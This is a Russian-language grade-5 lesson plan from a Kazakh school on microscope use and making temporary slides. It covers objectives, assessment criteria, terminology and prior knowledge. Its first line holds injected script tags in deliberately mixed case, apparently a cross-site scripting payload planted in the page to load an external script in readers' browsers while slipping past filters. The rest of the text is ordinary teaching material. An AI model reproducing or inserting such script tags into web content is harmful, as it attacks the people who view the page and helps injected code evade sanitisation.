<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Дата:

Ф.И.О. учителя:

  Шульга Татьяна Юрьевна (учитель географии первой категории)

Раздел долгосрочного плана:

             Школа: ГУ "Новорыбинская средняя школа-сад"

Класс:  5

Количество присутствующих: 8

Количество отсутствующих: 0

Тема урока

Микроскопические исследования живых организмов

Цели

обучения, которые достигаются на данном уроке

5.4.2.3 применять правила работы с микроскопом

5.4.2.4 готовить временные микропрепараты

Цели урока

Применяет правила работы с микроскопом

Готовит временные микропрепараты

Критерий оценивания

Ø  Знает строение микроскопа, правила  работы с микроскопом

Ø  Знает и применяет простые способы приготовления микропрепарата

Языковые цели

Предметная лексика и терминология:

·         тубус  микроскопа,  штатив, окуляр,  объектив,  винты настройки,  подошва, источник света,  зеркало, зажимы, микроскоп, микропрепарат,

увеличение, изображение, линзы для небольшого увеличения, фокус 

Языковая цель обучения: 

  Учащиеся могут:

·       отметить части микроскопа

·       перечислять правила работы с микроскопом

(навыки чтения)

  Серия полезных фраз для диалога/письма:

·     Правильная настройка  зеркала,  обеспечивает ......................................изображения..

·      Нужно настроить ................., чтобы  получить четкое изображение.

Привитие

ценностей

Проявлять уважение к себе и окружающим; Изучить

разнообразные процессы которые происходят в природе и научиться защищать природу

Межпредметные

связи

Ø Биология:

 готовит временные микропрепараты, применяя правила работы с микроскопом

Навыки использования ИКТ

Работа с интерактивной доской,  презентация

Предварительные 

знания

Называть основные характеристики животных (1 класс).

Классифицировать животных на позвоночные и беспозвоночные. Описывать группы животных, определяя их сходства и отличия. Сравнивать группы растений  и указывать их сходства и различия

(2 класс).

Классифицировать растения по их признакам (3 класс).

Различать и описывать водоросли, грибы, лишайники, папоротники и цветковые растения (4 класс).